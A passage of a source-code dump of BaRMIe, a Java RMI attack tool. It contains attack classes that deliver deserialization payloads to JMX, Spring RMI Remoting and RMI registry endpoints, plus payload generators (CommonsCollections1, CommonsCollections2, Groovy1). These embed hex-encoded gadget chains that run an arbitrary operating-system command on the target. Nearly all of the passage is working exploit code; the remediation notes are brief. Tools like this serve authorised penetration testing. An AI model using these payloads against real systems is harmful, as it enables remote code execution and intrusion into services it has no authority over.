Registry reg; 123 | 124 | //Launch the attack 125 | try { 126 | //Start a bind exploit proxy 127 | System.out.println("[~] Starting RMI registry proxy..."); 128 | proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0)); 129 | proxy.startProxy(); 130 | System.out.println("[+] Proxy started"); 131 | 132 | //Get a proxied RMI registry reference 133 | System.out.println("[~] Getting proxied RMI Registry reference..."); 134 | reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); 135 | 136 | //Bind a dummy object in an attempt to trigger the vulnerability 137 | System.out.println("[~] Calling bind(PAYLOAD, null)..."); 138 | reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); 139 | } catch(Exception ex) { 140 | //Check the exception for useful info 141 | this.checkDeserException(ex); 142 | } finally { 143 | //Stop the proxy 144 | if(proxy != null) { 145 | proxy.stopProxy(true); 146 | } 147 | } 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/Java/JMXDeser.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.Java; 2 | 3 | import javax.management.remote.rmi.RMIServer; 4 | import nb.barmie.exceptions.BaRMIeException; 5 | import nb.barmie.modes.attack.DeserPayload; 6 | import nb.barmie.modes.attack.RMIDeserAttack; 7 | import nb.barmie.modes.enumeration.RMIEndpoint; 8 | 9 | /*********************************************************** 10 | * Deliver a deserialization payload to a JMX RMI service, 11 | * via the Object-type parameter to the 'newClient' 12 | * method. 13 | * 14 | * Written by Nicky Bloor (@NickstaDB). 15 | **********************************************************/ 16 | public class JMXDeser extends RMIDeserAttack { 17 | /******************* 18 | * Set attack properties. 19 | ******************/ 20 | public JMXDeser() { 21 | super(); 22 | this.setDescription("JMX Deserialization"); 23 | this.setDetailedDescription("JMX uses an RMI service which exposes an object of type RMIServerImpl_Stub. The 'newClient' method accepts an arbitrary Object as a parameter, enabling deserialization attacks."); 24 | this.setRemediationAdvice("[JMX] Update Java to the latest available version"); 25 | this.setAppSpecific(false); 26 | } 27 | 28 | /******************* 29 | * Check if the given endpoint can be attacked. 30 | * 31 | * @param ep An enumerated RMI endpoint. 32 | * @return True if we can attack it. 33 | ******************/ 34 | public boolean canAttackEndpoint(RMIEndpoint ep) { 35 | return ep.hasClass("javax.management.remote.rmi.RMIServerImpl_Stub") || ep.hasClass("javax.management.remote.rmi.RMIServer"); 36 | } 37 | 38 | /******************* 39 | * Execute the deserialization attack against the given RMI endpoint using 40 | * the given payload. 41 | * 42 | * @param ep The enumerated RMI endpoint. 43 | * @param payload The deserialization payload to deliver. 44 | * @param cmd The command to use for payload generation. 45 | ******************/ 46 | public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { 47 | RMIServer obj; 48 | 49 | //Launch the attack 50 | try { 51 | //Get the fully proxied target object 52 | System.out.println("\n[~] Getting proxied jmxrmi object..."); 53 | obj = (RMIServer)this.getProxiedObject(ep, "jmxrmi", payload.getBytes(cmd, 0)); 54 | 55 | //Call the newClient() method, passing in the default payload marker 56 | System.out.println("[+] Retrieved, invoking newClient(PAYLOAD)..."); 57 | obj.newClient(this.DEFAULT_MARKER_OBJECT); 58 | } catch(Exception ex) { 59 | //Check the exception for useful info 60 | this.checkDeserException(ex); 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/SpringFramework/RmiInvocationHandlerDeser.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.SpringFramework; 2 | 3 | import java.rmi.registry.Registry; 4 | import nb.barmie.exceptions.BaRMIeException; 5 | import nb.barmie.modes.attack.DeserPayload; 6 | import nb.barmie.modes.attack.RMIDeserAttack; 7 | import nb.barmie.modes.enumeration.RMIEndpoint; 8 | import org.springframework.remoting.rmi.RmiInvocationHandler; 9 | import org.springframework.remoting.support.RemoteInvocation; 10 | 11 | /*********************************************************** 12 | * Deliver a deserialization payload to a Spring RMI 13 | * Remoting endpoint, via an Object-type property of a 14 | * remote method parameter. 15 | * 16 | * Calls RmiInvocationHandler.invoke() with a 17 | * RemoteInvocation object that contains the payload. 18 | * 19 | * Written by Nicky Bloor (@NickstaDB). 20 | **********************************************************/ 21 | public class RmiInvocationHandlerDeser extends RMIDeserAttack { 22 | /******************* 23 | * Set attack properties. 24 | ******************/ 25 | public RmiInvocationHandlerDeser() { 26 | super(); 27 | this.setDescription("Spring RMI Remoting deserialization"); 28 | this.setDetailedDescription("Spring RMI Remoting exposes a remote class with an invoke() method that accepts a RemoteInvocation object as a parameter. The RemoteInvocation object has a property that can hold any Object, enabling deserialization attacks."); 29 | this.setRemediationAdvice("[Spring Remoting] " + REMEDIATION_NO_FIX); 30 | } 31 | 32 | /******************* 33 | * Check if the given endpoint can be attacked. 34 | * 35 | * @param ep An enumerated RMI endpoint. 36 | * @return True if we can attack it. 37 | ******************/ 38 | public boolean canAttackEndpoint(RMIEndpoint ep) { 39 | return ep.hasClass("org.springframework.remoting.rmi.RmiInvocationHandler"); 40 | } 41 | 42 | /******************* 43 | * Execute the deserialization attack against the given RMI endpoint using 44 | * the given payload. 45 | * 46 | * @param ep The enumerated RMI endpoint. 47 | * @param payload The deserialization payload to deliver. 48 | * @param cmd The command to use for payload generation. 49 | ******************/ 50 | public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { 51 | RmiInvocationHandler rmih; 52 | RemoteInvocation ri; 53 | Registry reg; 54 | String objName; 55 | 56 | //Find an affected object to target 57 | System.out.println("[~] Finding object to target..."); 58 | objName = ep.findObjectWithClass("org.springframework.remoting.rmi.RmiInvocationHandler"); 59 | 60 | //Launch the attack 61 | try { 62 | //Get the fully proxied target object 63 | System.out.println("[~] Getting proxied " + objName + " object..."); 64 | rmih = (RmiInvocationHandler)this.getProxiedObject(ep, objName, payload.getBytes(cmd, 8)); 65 | 66 | //Trigger the attack 67 | System.out.println("[+] Retrieved, invoking invoke() with payload..."); 68 | ri = new RemoteInvocation(); 69 | ri.arguments = new Object[] { this.DEFAULT_MARKER_OBJECT }; 70 | rmih.invoke(ri); 71 | } catch(Exception ex) { 72 | //Check the exception for useful info 73 | this.checkDeserException(ex); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/SpringFramework/Spring2RmiInvocationHandlerDeser.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.SpringFramework; 2 | 3 | import java.rmi.registry.Registry; 4 | import nb.barmie.exceptions.BaRMIeException; 5 | import nb.barmie.modes.attack.DeserPayload; 6 | import nb.barmie.modes.attack.RMIDeserAttack; 7 | import nb.barmie.modes.enumeration.RMIEndpoint; 8 | import org.springframework.remoting.rmi.RmiInvocationHandler; 9 | import org.springframework.remoting.support.RemoteInvocation; 10 | 11 | /*********************************************************** 12 | * Deliver a deserialization payload to a Spring 2 RMI 13 | * Remoting endpoint, via an Object-type property of a 14 | * remote method parameter. 15 | * 16 | * Calls RmiInvocationHandler.invoke() with a 17 | * RemoteInvocation object that contains the payload. 18 | * 19 | * Written by Nicky Bloor (@NickstaDB). 20 | **********************************************************/ 21 | public class Spring2RmiInvocationHandlerDeser extends RMIDeserAttack { 22 | /******************* 23 | * Set attack properties. 24 | ******************/ 25 | public Spring2RmiInvocationHandlerDeser() { 26 | super(); 27 | this.setDescription("Spring 2 RMI Remoting deserialization"); 28 | this.setDetailedDescription("Spring RMI Remoting exposes a remote class with an invoke() method that accepts a RemoteInvocation object as a parameter. The RemoteInvocation object has a property that can hold any Object, enabling deserialization attacks."); 29 | this.setRemediationAdvice("[Spring 2 Remoting] " + REMEDIATION_NO_FIX); 30 | } 31 | 32 | /******************* 33 | * Check if the given endpoint can be attacked. 34 | * 35 | * @param ep An enumerated RMI endpoint. 36 | * @return True if we can attack it. 37 | ******************/ 38 | public boolean canAttackEndpoint(RMIEndpoint ep) { 39 | return ep.hasClass("org.springframework.remoting.rmi.RmiInvocationWrapper_Stub"); 40 | } 41 | 42 | /******************* 43 | * Execute the deserialization attack against the given RMI endpoint using 44 | * the given payload. 45 | * 46 | * @param ep The enumerated RMI endpoint. 47 | * @param payload The deserialization payload to deliver. 48 | * @param cmd The command to use for payload generation. 49 | ******************/ 50 | public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { 51 | RmiInvocationHandler rmih; 52 | RemoteInvocation ri; 53 | Registry reg; 54 | String objName; 55 | 56 | //Find an affected object to target 57 | System.out.println("[~] Finding object to target..."); 58 | objName = ep.findObjectWithClass("org.springframework.remoting.rmi.RmiInvocationWrapper_Stub"); 59 | 60 | //Launch the attack 61 | try { 62 | //Get the fully proxied target object 63 | System.out.println("[~] Getting proxied " + objName + " object..."); 64 | rmih = (RmiInvocationHandler)this.getProxiedObject(ep, objName, payload.getBytes(cmd, 8)); 65 | 66 | //Trigger the attack 67 | System.out.println("[+] Retrieved, invoking invoke() with payload..."); 68 | ri = new RemoteInvocation(); 69 | ri.arguments = new Object[] { this.DEFAULT_MARKER_OBJECT }; 70 | rmih.invoke(ri); 71 | } catch(Exception ex) { 72 | //Check the exception for useful info 73 | this.checkDeserException(ex); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload1.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for Apache Commons Collections 11 | * 3.1, 3.2, and 3.2.1. 12 | * 13 | * Based on the ysoserial and the excellent work of Chris 14 | * Frohoff, Matthias Kaiser et al 15 | * (https://github.com/frohoff/ysoserial). 16 | * 17 | * Written by Nicky Bloor (@NickstaDB). 18 | **********************************************************/ 19 | public class CommonsCollectionsPayload1 extends DeserPayload { 20 | /******************* 21 | * Properties 22 | ******************/ 23 | //Payload data chunks 24 | private final String _header_chunk = "737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174"; 25 | private final String _footer_chunk = "740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878"; 26 | 27 | /******************* 28 | * Set payload properties 29 | ******************/ 30 | public CommonsCollectionsPayload1() { 31 | super(); 32 | this.setName("CommonsCollections1"); 33 | this.setDescription("Apache Commons Collections 3.1, 3.2, 3.2.1"); 34 | this.setRemediationAdvice("[Apache Commons Collections] Update to Apache Commons Collections 3.2.2 or greater."); 35 | this.setAffectedJars(new String[] {"commons-collections-3.1.jar", "commons-collections-3.2.jar", "commons-collections-3.2.1.jar"}); 36 | } 37 | 38 | /******************* 39 | * Generate payload bytes for the given OS command, correcting references 40 | * by the given amount. 41 | * 42 | * @param cmd The operating system command to execute. 43 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 44 | * @return An array of bytes making up the deserialization payload. 45 | ******************/ 46 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 47 | ByteArrayOutputStream out; 48 | 49 | //Generate the payload bytes 50 | try { 51 | //Fix references in the header bytes and add them to the output 52 | out = new ByteArrayOutputStream(); 53 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 54 | 55 | //Add the command string to the output 56 | out.write(this.stringToUtf8ByteArray(cmd)); 57 | 58 | //Fix references in the footer bytes and add them to the output 59 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 60 | } catch(IOException ioe) { 61 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 62 | } 63 | 64 | //Return the payload bytes 65 | return out.toByteArray(); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload2.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for Apache Commons Collections 11 | * 4.0-alpha1, and 4.0. 12 | * 13 | * Based on the ysoserial and the excellent work of Chris 14 | * Frohoff, Matthias Kaiser et al 15 | * (https://github.com/frohoff/ysoserial). 16 | * 17 | * Written by Nicky Bloor (@NickstaDB). 18 | **********************************************************/ 19 | public class CommonsCollectionsPayload2 extends DeserPayload { 20 | /******************* 21 | * Properties 22 | ******************/ 23 | //Payload data chunks 24 | private final String _header_chunk = "737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b70787000000002737200426f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e5472616e73666f726d696e67436f6d70617261746f722ff984f02bb108cc0200024c00096465636f726174656471007e00014c000b7472616e73666f726d657274002d4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b707870737200406f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb1370200007078707372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002e5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b7078707572002e5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e5472616e73666f726d65723b39813afb08da3fa5020000707870000000027372003c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b70787076720037636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e5472415846696c74657200000000000000000000007078707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000707870000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00144c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; 25 | private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; 26 | private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e001f00000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a0001000200160010000970740001417077010078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000017672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000707870770400000003737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007078700000000071007e002978"; 27 | 28 | /******************* 29 | * Set payload properties 30 | ******************/ 31 | public CommonsCollectionsPayload2() { 32 | super(); 33 | this.setName("CommonsCollections2"); 34 | this.setDescription("Apache Commons Collections 4.0-alpha1, 4.0"); 35 | this.setRemediationAdvice("[Apache Commons Collections] Update to Apache Commons Collections 4.1 or greater."); 36 | this.setAffectedJars(new String[] {"commons-collections4-4.0-alpha1.jar", "commons-collections4-4.0.jar"}); 37 | } 38 | 39 | /******************* 40 | * Generate payload bytes for the given OS command, correcting references 41 | * by the given amount. 42 | * 43 | * @param cmd The operating system command to execute. 44 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 45 | * @return An array of bytes making up the deserialization payload. 46 | ******************/ 47 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 48 | ByteArrayOutputStream out; 49 | 50 | //Generate the payload bytes 51 | try { 52 | //Fix references in the header bytes and add them to the output 53 | out = new ByteArrayOutputStream(); 54 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 55 | 56 | //Add the middle chunk 57 | out.write(this.intToByteArray(765 + cmd.length())); 58 | out.write(this.hexStrToByteArray(this._mid_chunk)); 59 | 60 | //Add the command string to the output 61 | out.write(this.stringToUtf8ByteArray(cmd)); 62 | 63 | //Fix references in the footer bytes and add them to the output 64 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 65 | } catch(IOException ioe) { 66 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 67 | } 68 | 69 | //Return the payload bytes 70 | return out.toByteArray(); 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/GroovyPayload1.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for Apache Groovy versions 11 | * 1.7-beta-1 to 2.4.0-beta-4. 12 | * 13 | * Based on the ysoserial and the excellent work of Chris 14 | * Frohoff, Matthias Kaiser et al 15 | * (https://github.com/frohoff/ysoserial). 16 | * 17 | * Written by Nicky Bloor (@NickstaDB). 18 | **********************************************************/ 19 | public class GroovyPayload1 extends DeserPayload { 20 | /******************* 21 | * Properties 22 | ******************/ 23 | //Payload data chunks 24 | private final String _header_chunk = "7372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574696c2e4d617070787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002c6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e766572746564436c6f7375726510233719f715dd1b0200014c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b707872002d6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e76657273696f6e48616e646c65721023371ad601bc1b0200024c000864656c65676174657400124c6a6176612f6c616e672f4f626a6563743b4c000b68616e646c6543616368657400284c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61703b707870737200296f72672e636f6465686175732e67726f6f76792e72756e74696d652e4d6574686f64436c6f73757265110e3e848fbdce480200014c00066d6574686f6471007e0009707872001367726f6f76792e6c616e672e436c6f737572653ca0c76616126c5a0200084900096469726563746976654900196d6178696d756d4e756d6265724f66506172616d657465727349000f7265736f6c766553747261746567794c000362637774003c4c6f72672f636f6465686175732f67726f6f76792f72756e74696d652f63616c6c736974652f426f6f6c65616e436c6f73757265577261707065723b4c000864656c656761746571007e000b4c00056f776e657271007e000b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b4c000a746869734f626a65637471007e000b7078700000000000000002000000007074"; 25 | private final String _footer_chunk = "71007e0013757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000070787000000002767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078707672000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e00097078707074000765786563757465737200266a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d61706499de129d87293d03000349000b7365676d656e744d61736b49000c7365676d656e7453686966745b00087365676d656e74737400315b4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d6170245365676d656e743b7078700000000000000000757200315b4c6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e743b52773f41329b397402000070787000000000707078740008656e747279536574767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"; 26 | 27 | /******************* 28 | * Set payload properties 29 | ******************/ 30 | public GroovyPayload1() { 31 | super(); 32 | this.setName("Groovy1"); 33 | this.setDescription("Apache Groovy 1.7-beta-1 to 2.4.0-beta-4"); 34 | this.setRemediationAdvice("[Apache Groovy] Update to Apache Groovy 2.4.4 or greater."); 35 | this.setAffectedJars(new String[] { 36 | "groovy-all-1.7-beta-1.jar", "groovy-all-1.7-beta-2.jar", "groovy-all-1.7-rc-1.jar", "groovy-all-1.7-rc-2.jar", "groovy-all-1.7.0.jar", "groovy-all-1.7.1.jar", "groovy-all-1.7.10.jar", 37 | "groovy-all-1.7.11.jar", "groovy-all-1.7.2.jar", "groovy-all-1.7.3.jar", "groovy-all-1.7.4.jar", "groovy-all-1.7.5.jar", "groovy-all-1.7.6.jar", "groovy-all-1.7.7.jar", "groovy-all-1.7.8.jar", 38 | "groovy-all-1.7.9.jar", "groovy-all-1.8.0-beta-1.jar", "groovy-all-1.8.0-beta-2.jar", "groovy-all-1.8.0-beta-3.jar", "groovy-all-1.8.0-beta-4.jar", "groovy-all-1.8.0-rc-1.jar", "groovy-all-1.8.0-rc-2.jar", 39 | "groovy-all-1.8.0-rc-3.jar", "groovy-all-1.8.0-rc-4.jar", "groovy-all-1.8.0.jar", "groovy-all-1.8.1.jar", "groovy-all-1.8.2.jar", "groovy-all-1.8.3.jar", "groovy-all-1.8.4.jar", "groovy-all-1.8.5.jar", 40 | "groovy-all-1.8.6.jar", "groovy-all-1.8.7.jar", "groovy-all-1.8.8.jar", "groovy-all-1.8.9.jar", "groovy-all-1.9.0-beta-1.jar", "groovy-all-1.9.0-beta-2.jar", "groovy-all-1.9.0-beta-3.jar", 41 | "groovy-all-1.9.0-beta-4.jar", "groovy-all-2.0.0-beta-1.jar", "groovy-all-2.0.0-beta-2.jar", "groovy-all-2.0.0-beta-3.jar", "groovy-all-2.0.0-rc-1.jar", "groovy-all-2.0.0-rc-2.jar", 42 | "groovy-all-2.0.0-rc-3.jar", "groovy-all-2.0.0-rc-4.jar", "groovy-all-2.0.0.jar", "groovy-all-2.0.1.jar", "groovy-all-2.0.2.jar", "groovy-all-2.0.3.jar", "groovy-all-2.0.4.jar", "groovy-all-2.0.5.jar", 43 | "groovy-all-2.0.6.jar", "groovy-all-2.0.7.jar", "groovy-all-2.0.8.jar", "groovy-all-2.1.0-beta-1.jar", "groovy-all-2.1.0-rc-1.jar", "groovy-all-2.1.0-rc-2.jar", "groovy-all-2.1.0-rc-3.jar", 44 | "groovy-all-2.1.0.jar", "groovy-all-2.1.1.jar", "groovy-all-2.1.2.jar", "groovy-all-2.1.3.jar", "groovy-all-2.1.4.jar", "groovy-all-2.1.5.jar", "groovy-all-2.1.6.jar", "groovy-all-2.1.7.jar", 45 | "groovy-all-2.1.8.jar", "groovy-all-2.1.9.jar", "groovy-all-2.2.0-beta-1.jar", "groovy-all-2.2.0-beta-2.jar", "groovy-all-2.2.0-rc-1.jar", "groovy-all-2.2.0-rc-2.jar", "groovy-all-2.2.0-rc-3.jar", 46 | "groovy-all-2.2.0.jar", "groovy-all-2.2.1.jar", "groovy-all-2.2.2.jar", "groovy-all-2.3.0-beta-1.jar", "groovy-all-2.3.0-beta-2.jar", "groovy-all-2.3.0-rc-1.jar", "groovy-all-2.3.0-rc-2.jar", 47 | "groovy-all-2.3.0-rc-4.jar", "groovy-all-2.3.0.jar", "groovy-all-2.3.1.jar", "groovy-all-2.3.10.jar", "groovy-all-2.3.11.jar", "groovy-all-2.3.2.jar", "groovy-all-2.3.3.jar", "groovy-all-2.3.4.jar", 48 | "groovy-all-2.3.5.jar", "groovy-all-2.3.6.jar", "groovy-all-2.3.7.jar", "groovy-all-2.3.8.jar", "groovy-all-2.3.9.jar", "groovy-all-2.4.0-beta-1.jar", "groovy-all-2.4.0-beta-2.jar", 49 | "groovy-all-2.4.0-beta-3.jar", "groovy-all-2.4.0-beta-4.jar", "groovy-1.7-beta-1.jar", "groovy-1.7-beta-2.jar", "groovy-1.7-rc-1.jar", "groovy-1.7-rc-2.jar", "groovy-1.7.0.jar", "groovy-1.7.1.jar", 50 | "groovy-1.7.10.jar", "groovy-1.7.11.jar", "groovy-1.7.2.jar", "groovy-1.7.3.jar", "groovy-1.7.4.jar", "groovy-1.7.5.jar", "groovy-1.7.6.jar", "groovy-1.7.7.jar", "groovy-1.7.8.jar", "groovy-1.7.9.jar", 51 | "groovy-1.8.0-beta-1.jar", "groovy-1.8.0-beta-2.jar", "groovy-1.8.0-beta-3.jar", "groovy-1.8.0-beta-4.jar", "groovy-1.8.0-rc-1.jar", "groovy-1.8.0-rc-2.jar", "groovy-1.8.0-rc-3.jar", "groovy-1.8.0-rc-4.jar", 52 | "groovy-1.8.0.jar", "groovy-1.8.1.jar", "groovy-1.8.2.jar", "groovy-1.8.3.jar", 